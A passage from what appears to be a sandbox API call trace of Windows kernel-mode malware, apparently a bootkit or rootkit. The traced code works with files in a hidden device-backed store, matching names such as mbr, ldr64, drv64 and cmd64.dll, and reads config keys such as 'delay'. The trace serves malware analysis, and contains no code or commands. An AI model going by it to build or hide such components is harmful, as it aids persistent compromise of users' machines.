(P=0xfffffa8003bf5b40, Tag=0x0) [0125.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.288] KeLeaveCriticalRegion () [0125.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.288] ReleaseMutex (hMutex=0xf0) returned 1 [0125.288] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.288] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.288] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.289] KeEnterCriticalRegion () [0125.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.289] IdePortDispatch () returned 0x103 [0125.289] KeWaitForMutexObject () returned 0x0 [0125.289] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.289] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.289] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.289] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.289] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.289] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.289] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.289] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.289] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.289] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.289] KeLeaveCriticalRegion () [0125.289] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.289] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.289] KeEnterCriticalRegion () [0125.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.289] IdePortDispatch () returned 0x103 [0125.290] KeWaitForMutexObject () returned 0x0 [0125.290] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.290] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.290] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.290] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.290] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.290] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.290] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.290] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.290] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.290] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.290] KeLeaveCriticalRegion () [0125.290] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.290] ReleaseMutex (hMutex=0x100) returned 1 [0125.290] Sleep (dwMilliseconds=0x2bf20) [0125.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6de13bd0, dwHighDateTime=0x1d24fa4)) [0125.297] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.297] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.297] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.297] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.297] KeEnterCriticalRegion () [0125.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.297] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.297] IdePortDispatch () returned 0x103 [0125.297] KeWaitForMutexObject () returned 0x0 [0125.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.297] KeLeaveCriticalRegion () [0125.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.297] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.297] KeEnterCriticalRegion () [0125.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.298] KeLeaveCriticalRegion () [0125.298] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.298] KeEnterCriticalRegion () [0125.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.298] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.298] IdePortDispatch () returned 0x103 [0125.298] KeWaitForMutexObject () returned 0x0 [0125.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.298] KeLeaveCriticalRegion () [0125.298] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.298] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.298] KeEnterCriticalRegion () [0125.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0b000 [0125.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.298] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.298] IdePortDispatch () returned 0x103 [0125.298] KeWaitForMutexObject () returned 0x0 [0125.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.299] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.299] IdePortDispatch () returned 0x103 [0125.299] KeWaitForMutexObject () returned 0x0 [0125.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.299] KeLeaveCriticalRegion () [0125.299] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.299] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.299] KeEnterCriticalRegion () [0125.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.299] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.299] KeLeaveCriticalRegion () [0125.299] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.299] KeEnterCriticalRegion () [0125.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.299] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.300] KeLeaveCriticalRegion () [0125.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.300] KeEnterCriticalRegion () [0125.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.300] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.300] KeLeaveCriticalRegion () [0125.300] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.300] ReleaseMutex (hMutex=0xf0) returned 1 [0125.300] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.300] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.300] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.300] KeEnterCriticalRegion () [0125.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.300] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.300] IdePortDispatch () returned 0x103 [0125.300] KeWaitForMutexObject () returned 0x0 [0125.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.300] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.300] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5af0 [0125.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.301] KeLeaveCriticalRegion () [0125.301] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.301] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.301] KeEnterCriticalRegion () [0125.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.301] KeLeaveCriticalRegion () [0125.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.301] KeEnterCriticalRegion () [0125.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.301] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.301] IdePortDispatch () returned 0x103 [0125.301] KeWaitForMutexObject () returned 0x0 [0125.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.301] KeLeaveCriticalRegion () [0125.301] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.302] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.302] KeEnterCriticalRegion () [0125.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0c000 [0125.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.302] IdePortDispatch () returned 0x103 [0125.302] KeWaitForMutexObject () returned 0x0 [0125.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.302] IdePortDispatch () returned 0x103 [0125.302] KeWaitForMutexObject () returned 0x0 [0125.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.302] KeLeaveCriticalRegion () [0125.302] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.303] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.303] KeEnterCriticalRegion () [0125.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] KeLeaveCriticalRegion () [0125.303] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.303] KeEnterCriticalRegion () [0125.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] KeLeaveCriticalRegion () [0125.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.303] KeEnterCriticalRegion () [0125.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] ExFreePoolWithTag (P=0xfffffa8003bf5af0, Tag=0x0) [0125.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] KeLeaveCriticalRegion () [0125.303] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.303] ReleaseMutex (hMutex=0xf0) returned 1 [0125.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.303] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.303] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.303] KeEnterCriticalRegion () [0125.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.303] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.303] IdePortDispatch () returned 0x103 [0125.303] KeWaitForMutexObject () returned 0x0 [0125.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.304] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6d10 [0125.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] KeLeaveCriticalRegion () [0125.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.304] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.304] KeEnterCriticalRegion () [0125.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] KeLeaveCriticalRegion () [0125.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.304] KeEnterCriticalRegion () [0125.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.304] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.304] IdePortDispatch () returned 0x103 [0125.304] KeWaitForMutexObject () returned 0x0 [0125.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] KeLeaveCriticalRegion () [0125.304] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.304] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.304] KeEnterCriticalRegion () [0125.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.304] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0d000 [0125.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.305] IoAllocateMdl (in: 